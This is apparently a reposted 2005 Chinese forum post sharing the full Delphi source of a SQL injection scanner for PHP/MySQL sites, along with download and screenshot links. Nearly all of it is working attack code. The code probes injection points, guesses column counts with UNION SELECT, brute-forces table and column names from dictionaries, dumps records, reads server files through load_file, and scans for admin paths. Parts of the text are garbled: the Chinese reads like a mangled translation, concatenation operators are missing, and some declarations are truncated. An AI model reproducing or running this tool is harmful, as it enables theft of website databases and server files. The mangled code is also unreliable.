PHP MYSQL网站注入扫描

滥觞：lanyus的 Blog 作者：lanyus的 Blog

简介：PHP MYSQL网站注入扫描东西，针对类似夜猫文章下
载体系比力有用，界面是仿教程的hdsi中的PHP注入模块写
的，完成道理是参考angel的SQL Injection with MYSQL
写的，网上有很多，不再细说。

界面截图：http://www.wrsky.com/attachment/3_1891.jpg

源码下载：http://downloads.2ccc.com/general/internet_lan/PHPInj.rar

Author: hnxyy
QQ: 19026695
Date: 2005/5/25

FireFox手艺互换论坛
http://www.wrsky.com
It is all beginnings free
It is all ruin to be privately owned

运用D7编写，界面比力雅观，和教主的东西比拟了一下，感受比他的义务扫描速度要快很多

主要单位代码：

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, >Dialogs, Spin, StdCtrls, ComCtrls, Buttons, ExtCtrls, IDHTTP, unit2, Unit3,
OleCtrls, SHDocVw;

type
TForm1 = > Panel8: TPanel;
Label15: TLabel;
Label16: TLabel;
Label17: TLabel;
EdtInjUrl: TEdit;
EdtKey: TEdit;
EdtFieldNum: TEdit;
rdbNum: TRadioButton;
rdbChar: TRadioButton;
Panel1: TPanel;
pcPHPInj: TPageControl;
TabSheet1: TTabSheet;
sbscan1: TSpeedButton;
sbstop1: TSpeedButton;
sbscan2: TSpeedButton;
sbstop2: TSpeedButton;
Panel15: TPanel;
GroupBox5: TGroupBox;
lvTable: TListView;
GroupBox6: TGroupBox;
lvField: TListView;
TabSheet2: TTabSheet;
GroupBox7: TGroupBox;
Label18: TLabel;
Label19: TLabel;
Label20: TLabel;
Label21: TLabel;
spField1: TSpinEdit;
spField2: TSpinEdit;
EdtField1: TEdit;
EdtField2: TEdit;
EdtTable: TEdit;
EdtID: TEdit;
GroupBox8: TGroupBox;
Label22: TLabel;
EdtFileName: TEdit;
sbrecord: TSpeedButton;
sbfile: TSpeedButton;
MM: TMemo;
sbscan: TSpeedButton;
TabSheet3: TTabSheet;
lsbDict: TListBox;
TabSheet4: TTabSheet;
wb: TWebBrowser;
spNum: TSpinEdit;
GroupBox1: TGroupBox;
sbscan3: TSpeedButton;
sbstop3: TSpeedButton;
ListBox1: TListBox;
TabSheet5: TTabSheet;
MMAbout: TMemo;
StatusBar1: TStatusBar;
procedure sbscanClick(Sender: TObject);
procedure sbstop1Click(Sender: TObject);
procedure sbscan1Click(Sender: TObject);
procedure sbscan2Click(Sender: TObject);
procedure lvFieldClick(Sender: TObject);
procedure lvTableClick(Sender: TObject);
procedure sbrecordClick(Sender: TObject);
procedure sbfileClick(Sender: TObject);
procedure sbstop2Click(Sender: TObject);
procedure sbscan3Click(Sender: TObject);
procedure sbstop3Click(Sender: TObject);
procedure ListBox1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
Url,KeyWord:string;
iStr,InjUrl:string;
//弹出信息框
procedure MsgBox(strMsg: string);
procedure SetUrl;
function Get(URL,Key: string): boolean;
procedure InjTable;
procedure FieldThreadExit(sender: TObject);
procedure ManagerThreadExit(sender: TObject);
public
{ Public declarations }
pg1:TProgressBar;
end;

var
Form1: TForm1;
//scanTable :array of scanTableThread; // 界说线程数组
scanField :array of scanFieldThread;
scanManager :array of scanManagerThread;
scanTable: scanTableThread; //扫描表段线程
isFinish:boolean=false;

N:integer=0;
M:integer=0;

implementation

{ $R *.dfm}

{ TForm1 }

procedure TForm1.MsgBox(strMsg: string);
begin
Application.MessageBox(pchar(strMsg), ''''提示信息'''', mb_iconinformation);
end;

procedure TForm1.SetUrl;
begin
begin
if rdbNum.Checked then
Url := trim(EdtInjUrl.Text)
else
Url := trim(EdtInjUrl.Text) #39;
end;
end;

procedure TForm1.sbscanClick(Sender: TObject);
var
scan:scanThread;
begin
if (EdtInjUrl.Text='''''''') then
begin
MsgBox(''''请输出要注入的地址！'''');
exit;
end;
if (EdtKey.Text='''''''') then
begin
MsgBox(''''请输出要注入的要害字！'''');
exit;
end;
SetUrl;
KeyWord:=trim(EdtKey.Text);
pg1.Visible :=False;
//scan :=scanThread.Create(Url,KeyWord,MM);
scan :=scanThread.Create(False);
end;

function TForm1.Get(URL,Key: string): boolean;
var
IDHTTP: TIDHttp;
ss: String;
begin
Result:= False;
IDHTTP:= TIDHTTP.Create(nil);
try
try
idhttp.HandleRedirects:= true; //必须支稳当定向不然可以出错
idhttp.ReadTimeout:= 30000; //跨越这个光阴则不再接见会面
ss:= IDHTTP.Get(URL);
if Key='''''''' then
begin
if IDHTTP.ResponseCode=200 then
Result :=true;
end else
begin
if (IDHTTP.ResponseCode=200) and (pos(Key,ss)>0) then
Result :=true;
end;
except
end;
finally
IDHTTP.Free;
end;
end;

procedure TForm1.sbstop1Click(Sender: TObject);
begin
stoped :=True;
pg1.Visible :=False;
end;

//不运用线程
procedure TForm1.InjTable;
var
i,j:integer;
begin
if (iStr='''''''') or (KeyWord='''''''') then exit;
lsbDict.Items.Clear;
lvTable.Items.Clear;
lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName) ''''Dict_Table.txt'''');
j:=0;
isFinish :=False;
Screen.Cursor :=crHourGlass;
try
for i:=0 to lsbDict.Count-1 do
begin
if isFinish then break;
InjUrl:=Url ''''/**/and/**/1=1/**/union/**/select/**/'''' iStr
''''/**/from/**/'''' lsbDict.Items ''''/*'''';

MM.Lines.Add(InjUrl);
if Get(InjUrl,KeyWord) then
begin
inc(j);
with lvTable.Items.Add do
begin
Caption :=IntToStr(j);
SubItems.Add(lsbDict.Items);
end;
end;
end;
finally
Screen.Cursor :=crDefault;
end;
end;

procedure TForm1.sbscan1Click(Sender: TObject);
var
i:integer;
begin
if (strtoint(EdtFieldNum.Text)<=0) or (KeyWord='''''''') then exit;
lsbDict.Items.Clear;
lvTable.Items.Clear;
N :=0;
lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName) ''''Dict_Table.txt'''');
isFinish :=False;
for i:=1 to strtoint(EdtFieldNum.Text) do
iStr:=iStr '''','''' IntToStr(i);
iStr :=copy(iStr,2,length(iStr)-1);
//在一个线程内完成表段猜解义务
scanTable :=scanTableThread.Create(Url,iStr,KeyWord,MM,lvTable);
end;

procedure TForm1.sbscan2Click(Sender: TObject);
var
i,j,Sum:integer;
tablename:string;
begin
if lvTable.Items.Count<=0 then exit;
if lvTable.SelCount<=0 then
begin
MsgBox(''''请选择一个表名！'''');
exit;
end;
tablename :=trim(lvTable.Selected.SubItems.GetText);
if tablename='''''''' then exit;

if isFinish=False then
begin
lsbDict.Items.Clear;
lvField.Items.Clear;
MM.Clear;
N :=0;
lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName) ''''Dict_Field.txt'''');
Sum :=lsbDict.Count;
iStr :='''''''';
pg1.Min :=0;
pg1.Max :=sum;
pg1.Step :=1;
pg1.Position :=0;
pg1.Visible :=true;
MM.Lines.Add(''''初步猜解字段。。。'''');
MM.Lines.Add('''''''');
for i:=1 to strtoint(EdtFieldNum.Text) do
begin
if i=strtoint(spNum.Text) then
iStr :=iStr '''',&FIELDNAME&''''
else iStr :=iStr '''','''' inttostr(i);
end;
if iStr<>'''''''' then
iStr :=copy(iStr,2,length(iStr)-1);

SetLength(scanField,Sum); // 静态设置线程的数目
//创设多个线程完成字段猜解
for j:=0 to Sum-1 do
begin
//if isFinish then exit;
scanField[j] := scanFieldThread.Create(Url,iStr,KeyWord,tablename,j,MM,lvField);
scanField[j].OnTerminate := FieldThreadExit;
end;
// sbscan2.Caption :=''''中止'''';
end;

try
if isFinish=true then
begin
//if N>=lsbDict.Count then exit;
if sbscan2.Caption=''''中止'''' then
begin
for j:=N to lsbDict.Count-1 do
begin
if scanField[j].FreeOnTerminate then
begin
scanField[j].Suspend;
scanField[j].Free;
//scanField[j].Terminate;
end;
end;
end;
MM.Lines.Add('''''''');
MM.Lines.Add(''''字段猜解终了。。。'''');
// sbscan2.Caption :=''''猜解'''';
end;
except
end;

isFinish :=true;
end;

procedure TForm1.FieldThreadExit(sender: TObject);
begin
inc(N);
pg1.StepIt;
if N = lsbDict.Count then
begin
isFinish :=false;
MM.Lines.Add('''''''');
MM.Lines.Add(''''字段猜解终了。。。'''');
pg1.Visible :=False;
sbscan2.Caption :=''''猜解'''';
exit;
end;
end;

procedure TForm1.lvFieldClick(Sender: TObject);
begin
if lvField.Selected.Caption=''''1'''' then
begin
EdtField1.Text :=lvField.Items[0].SubItems.GetText;
spField1.Text :=lvField.Items[0].Caption;
end else
begin
EdtField2.Text :=lvField.Selected.SubItems.GetText;
spField2.Text :=lvField.Selected.Caption;
end;
end;

procedure TForm1.lvTableClick(Sender: TObject);
begin
EdtTable.Text :=lvTable.Selected.SubItems.GetText;
end;

procedure TForm1.sbrecordClick(Sender: TObject);
var i:integer;
begin
iStr :='''''''';
for i:=1 to strtoint(EdtFieldNum.Text) do
begin
if i=strtoint(spField1.Text) then
iStr :=iStr '''','''' trim(EdtField1.Text)
else if i=strtoint(spField2.Text) then
iStr :=iStr '''','''' trim(EdtField2.Text)
else iStr :=iStr '''','''' inttostr(i);
end;
if iStr<>'''''''' then
iStr :=copy(iStr,2,length(iStr)-1);

InjUrl :=Url ''''/**/and/**/1=2/**/union/**/select/**/'''' iStr
''''/**/from/**/'''' trim(EdtTable.Text) ''''/**/where/**/'''' trim(EdtID.Text) ''''/*'''';

MM.Lines.Add(InjUrl);
if Get(InjUrl,'''''''') then
begin
wb.Navigate(InjUrl);
pcPHPInj.ActivePageIndex :=3;
end;
end;

procedure TForm1.sbfileClick(Sender: TObject);
var i,j:integer;
str,fname:string;
begin
if EdtFileName.Text='''''''' then
begin
MsgBox(''''请输出要猜解的文件名！'''');
exit;
end;
fname :=trim(EdtFileName.Text);
iStr :='''''''';
for i:=1 to length(fname) do
begin
iStr :=iStr '''','''' IntToStr(Ord(fname));
end;
if iStr<>'''''''' then
begin
iStr :=copy(iStr,2,length(iStr)-1);
iStr :=''''load_file(char('''' iStr ''''))'''';
end;

str :='''''''';
for j:=1 to strtoint(EdtFieldNum.Text) do
begin
if j=strtoint(spNum.Text) then
str :=str '''','''' iStr
else str :=str '''','''' inttostr(j);
end;
if str<>'''''''' then
str :=copy(str,2,length(str)-1);

InjUrl :=Url ''''/**/and/**/1=2/**/union/**/select/**/'''' str ''''/*'''';
MM.Lines.Add(InjUrl);
if Get(InjUrl,'''''''') then
begin
wb.Navigate(InjUrl);
pcPHPInj.ActivePageIndex :=3;
end;
end;

procedure TForm1.sbstop2Click(Sender: TObject);
var i:integer;
begin
isFinish :=true;
{ if N>=lsbDict.Count then exit;
for i:=N to lsbDict.Count-1 do
begin
if scanField.FreeOnTerminate then
begin
scanField.Suspend;
scanField.Free;
end;
end;
MM.Lines.Add('''''''');
MM.Lines.Add(''''字段猜解终了。。。''''); }
end;

procedure TForm1.sbscan3Click(Sender: TObject);
var
i,iPos,Sum:integer;
begin
if isFinish=false then
begin
Url :=trim(EdtInjUrl.Text);
if pos(''''http://'''',Url)>0 then
begin
Url :=copy(Url,8,length(Url)-7);
iPos :=pos(''''/'''',Url)
end else
iPos :=pos(''''/'''',Url);
Url :=''''http://'''' copy(Url,1,iPos-1);
if Url='''''''' then exit;

lsbDict.Items.Clear;
ListBox1.Items.Clear;
MM.Lines.Clear;
M :=0;
lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName) ''''Dict_Manager.txt'''');
Sum :=lsbDict.Count;
pg1.Min :=0;
pg1.Max :=sum;
pg1.Step :=1;
pg1.Position :=0;
pg1.Visible :=true;
MM.Lines.Add(''''初步猜解后台路子。。。'''');
MM.Lines.Add('''''''');
SetLength(scanManager,Sum); // 静态设置线程的数目
////初步扫描后台路子
for i:=0 to Sum-1 do
begin
scanManager := scanManagerThread.Create(Url,i,ListBox1,MM);
scanManager.OnTerminate := ManagerThreadExit;
end;
end;

if isFinish=true then
begin
try
for i:=M to lsbDict.Count-1 do
begin
if scanManager.FreeOnTerminate then
begin
scanManager.Suspend;
scanManager.Free;
end;
end;
MM.Lines.Add('''''''');
MM.Lines.Add(''''后台路子猜解终了。。。'''');
except
end;
end;
isFinish :=true;
end;

procedure TForm1.ManagerThreadExit(sender: TObject);
begin
inc(M);
pg1.StepIt;
if M = lsbDict.Count then
begin
isFinish :=true;
MM.Lines.Add('''''''');
MM.Lines.Add(''''后台路子猜解终了。。。'''');
pg1.Visible :=False;
exit;
end;
end;

procedure TForm1.sbstop3Click(Sender: TObject);
var i:integer;
begin
isFinish :=false;
{ if M>=lsbDict.Count then exit;
try
for i:=M to lsbDict.Count-1 do
begin
if scanManager.FreeOnTerminate then
begin
scanManager.Suspend;
scanManager.Free;
end;
end;
MM.Lines.Add('''''''');
MM.Lines.Add(''''后台路子猜解终了。。。'''');
except
end; }
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
wb.Navigate(ListBox1.Items.GetText);
pcPHPInj.ActivePageIndex :=3;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
pg1 :=TProgressBar.Create(nil);
pg1.Parent :=StatusBar1;
pg1.Height :=StatusBar1.Height;
pg1.Width :=StatusBar1.Width;
pg1.Visible :=False;
end;

end.

unit Unit2;

interface

uses
>
var
CS:TRTLCriticalSection; //界说全局临界区

type
//扫描网站能否可以注入及往后注入点对应表字段数线程类
scanThread = >protected
FUrl,InjUrl,FStr: string; //要注入的网站地址
FKeyWord: string; //要害字
FState: boolean;
FMemo: TMemo;
FListView: TListView;
FNum: Integer;
FTable,FValue :string;
procedure Execute; override;
public
//constructor Create(Url,KeyWord:string;Memo:TMemo);
end;
//扫描表段注入线程类
scanTableThread = >private
procedure scanTableResult;
protected
procedure Execute; override;
public
constructor Create(Url,Str,KeyWord:String;Memo:TMemo;ListView:TListView);
end;
//扫描字段注入线程类
scanFieldThread = >private
procedure scanFieldResult;
protected
procedure Execute; override;
public
constructor Create(Url,Str,KeyWord,Table:String;Num:integer;Memo:TMemo;ListView:TListView);
end;

function Get(URL,Key: string): boolean;

var
stoped:boolean;

implementation

uses Unit1;

function Get(URL,Key: string): boolean;
var
IDHTTP: TIDHttp;
ss: String;
begin
Result:= False;
IDHTTP:= TIDHTTP.Create(nil);
try
try
idhttp.HandleRedirects:= true; //必须支稳当定向不然可以出错
idhttp.ReadTimeout:= 30000; //跨越这个光阴则不再接见会面
ss:= IDHTTP.Get(URL);
if Key='''''''' then
begin
if IDHTTP.ResponseCode=200 then
Result :=true;
end else
begin
if (IDHTTP.ResponseCode=200) and (pos(Key,ss)>0) then
Result :=true;
end;
except
end;
finally
IDHTTP.Free;
end;
end;

{constructor scanThread.Create(Url,KeyWord:string;Memo:TMemo);
begin
FMemo :=Memo;
FUrl :=Url;
FKeyWord :=KeyWord;
FreeOnTerminate := True; // 自动删除
inherited Create(False); // 间接运转
end;}

procedure scanThread.Execute;
var
i:integer;
iStr:string;
begin
FMemo :=Form1.MM;
FUrl :=trim(Form1.EdtInjUrl.Text);
FKeyWord :=trim(Form1.EdtKey.Text);
FMemo.Lines.Clear;
FMemo.Lines.Add(''''正在检测注入点能否可用。。。'''');
if (not Get(FUrl,'''''''')) or (not Get(FUrl ''''/**/and/**/1=1/*'''',''''''''))
or (not Get(FUrl ''''/**/and/**/1=2/*'''','''''''')) then
begin
FMemo.Lines.Add(''''注入点不行用，猜解中止！'''');
exit;
end;
//初步猜解字段数目
i:=1;
iStr:=''''1'''';
FState :=False;
FMemo.Lines.Add('''''''');
FMemo.Lines.Add(''''初步猜解字段数目。。。'''');
FMemo.Lines.Add('''''''');
while not FState do
begin
inc(i);
if i>30 then
begin
FMemo.Lines.Add(''''最年夜猜解字段数年夜于30,猜解中止！'''');
FState :=True;
exit;
end;
iStr:=iStr '''','''' IntToStr(i);
InjUrl :=FUrl ''''/**/and/**/1=1/**/union/**/select/**/'''' iStr ''''/*'''';
FMemo.Lines.Add(InjUrl);
if Get(InjUrl,FKeyWord) then
begin
FState :=True;
FMemo.Lines.Add('''''''');
FMemo.Lines.Add(''''字段数目猜解终了！共找到'''' IntToStr(i) ''''个字段。'''');
Form1.EdtFieldNum.Text :=IntToStr(i);
Form1.spNum.MaxValue :=i;
Form1.spNum.Text :=IntToStr(i);
Form1.spField1.MaxValue :=i;
Form1.spField2.MaxValue :=i;
exit;
end;
end;
end;

constructor scanTableThread.Create(Url,Str,KeyWord:String;Memo:TMemo;ListView:TListView);
begin
FListView :=ListView;
FMemo :=Memo;
FUrl :=Url;
FKeyWord :=KeyWord;
FStr :=Str;
FreeOnTerminate := True; // 自动删除
InitializeCriticalSection(CS); //初始化临界区
//inherited Create(FUrl,FKeyWord,FMemo); // 间接运转
inherited Create(False);
end;

procedure scanTableThread.scanTableResult;
begin
with FListView.Items.Add do
begin
Caption :=IntToStr(FListView.Items.Count);
SubItems.Add(FValue);
end;
end;

//在一个线程内完成表段猜解义务
procedure scanTableThread.Execute;
var i:integer;
begin
stoped :=False;
with Form1 do
begin
pg1.Min :=0;
pg1.Max :=Form1.lsbDict.Count;
pg1.Step :=1;
pg1.Position :=0;
pg1.Visible :=true;
end;
EnterCriticalSection(cs); //进入临界区
FMemo.Lines.Add('''''''');
FMemo.Lines.Add(''''初步猜解表段。。。'''');
FMemo.Lines.Add('''''''');
for i:=0 to Form1.lsbDict.Count-1 do
begin
if stoped then
begin
FMemo.Lines.Add('''''''');
FMemo.Lines.Add(''''表段猜解终了。。。'''');
Form1.pg1.Visible :=False;
exit;
end;
FValue :=Form1.lsbDict.Items;
if FValue='''''''' then Continue;
InjUrl :=FUrl ''''/**/and/**/1=1/**/union/**/select/**/'''' FStr ''''/**/from/**/'''' FValue ''''/*'''';
FMemo.Lines.Add(InjUrl);
Form1.pg1.StepIt;
if Get(InjUrl,FKeyWord) then
begin
Synchronize(scanTableResult); //同步
end;
end;
FMemo.Lines.Add('''''''');
FMemo.Lines.Add(''''表段猜解终了。。。'''');
Form1.pg1.Visible :=False;
LeaveCriticalSection(CS); //插足临界区
sleep(20); // 线程挂起;
end;

//创设多个线程完成字段猜解
constructor scanFieldThread.Create(Url,Str,KeyWord,Table:String;Num:integer;Memo:TMemo;ListView:TListView);
begin
FListView :=ListView;
FMemo :=Memo;
FUrl :=Url;
FKeyWord :=KeyWord;
FStr :=Str;
FTable :=Table;
FNum :=Num;
FreeOnTerminate := True; // 自动删除
InitializeCriticalSection(CS); //初始化临界区
//inherited Create(FUrl,FKeyWord,FMemo); // 间接运转
inherited Create(False);
end;

procedure scanFieldThread.scanFieldResult;
begin
with FListView.Items.Add do
begin
Caption :=IntToStr(FListView.Items.Count);
SubItems.Add(FValue);
end;
end;

procedure scanFieldThread.Execute;
var
i:integer;
TmpStr:string;
begin
FValue :=Form1.lsbDict.Items[FNum];
TmpStr :=StringReplace(FStr,''''&FIELDNAME&'''',FValue,[rfIgnoreCase]);
InjUrl:=FUrl ''''/**/and/**/1=1/**/union/**/select/**/'''' TmpStr ''''/**/from/**/'''' FTable ''''/*'''';
EnterCriticalSection(cs); //进入临界区
FMemo.Lines.Add(InjUrl);
if Get(InjUrl,FKeyWord) then
begin
Synchronize(scanFieldResult); //同步
end;
LeaveCriticalSection(CS); //插足临界区
sleep(20); // 线程挂起;
end;

end.

//后台办理扫描线程类
unit Unit3;

interface

uses
>
var
CS:TRTLCriticalSection; //界说全局临界区

type
scanManagerThread = >private
Tmplbx :TListBox;
TmpMemo :TMemo;
TmpNum :integer;
TmpUrl :string;
Str :string;
procedure scanResult;
protected
procedure Execute; override;
public
constructor Create(Url:string; Num: integer;Lbx: TListBox;Memo:TMemo);
end;

implementation

uses Unit1;

constructor scanManagerThread.Create(Url:string; Num: integer;Lbx: TListBox;Memo:TMemo);
begin
TmpUrl :=Url;
TmpNum :=Num; // 通报参数
Tmplbx :=Lbx;
TmpMemo :=Memo;
FreeOnTerminate :=True; // 自动删除
InitializeCriticalSection(CS); //初始化临界区
inherited Create(False); // 间接运转
end;

//====================== 判定网址能否存在的函数 =======================
function CheckUrl(url: string; TimeOut: integer = 5000): boolean;
var
hSession, hfile, hRequest: hInternet;
dwindex, dwcodelen: dword;
dwcode: array[1..20] of char;
res: pchar;
re: integer;
Err1: integer;
j: integer;
begin
if pos(''''http://'''', lowercase(url)) = 0 then
url := ''''http://'''' url;
Result := false;
InternetSetOption(hSession, Internet_OPTION_CONNECT_TIMEOUT, @TimeOut, 4);
hSession := InternetOpen(''''Mozilla/4.0'''', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
//设置超时
if assigned(hsession) then
begin
j := 1;
while true do
begin
hfile := InternetOpenUrl(hsession, pchar(url), nil, 0, INTERNET_FLAG_RELOAD, 0);
if hfile = nil then
begin
j := j 1;
Err1 := GetLastError;
if j > 5 then break;
if (Err1 <> 12002) or (Err1 <> 12152) then break;
sleep(2);
end
else begin
break;
end;
end;
dwIndex := 0;
dwCodeLen := 10;
HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE, @dwcode, dwcodeLen, dwIndex);
res := pchar(@dwcode);
re := strtointdef(res, 404);
case re of
400..450: result := false;
else result := true;
end;
if assigned(hfile) then
InternetCloseHandle(hfile);
InternetCloseHandle(hsession);
end;
end;

function GetBackSpaceCount(str:string):string;
var i,iCount:integer;
begin
iCount :=50-length(str);
for i:=0 to iCount-1 do
begin
Result :=Result '''' '''';
end;
end;

procedure scanManagerThread.scanResult;
begin
Tmplbx.Items.Add(str);
Form1.GroupBox1.Caption :=''''检测结果：共找到'''' inttostr(Tmplbx.Items.Count) ''''条路子'''';
end;

procedure scanManagerThread.Execute;
begin
Str :=TmpUrl Form1.lsbDict.Items[TmpNum];
EnterCriticalSection(cs); //进入临界区
TmpMemo.Lines.Add(Str);
if CheckUrl(Str) then
begin
Synchronize(scanResult); // 同步
end;
LeaveCriticalSection(CS); //插足临界区
//sleep(20); // 线程挂起;
end;

end.

界面截图：http://www.wrsky.com/attachment/3_1891.jpg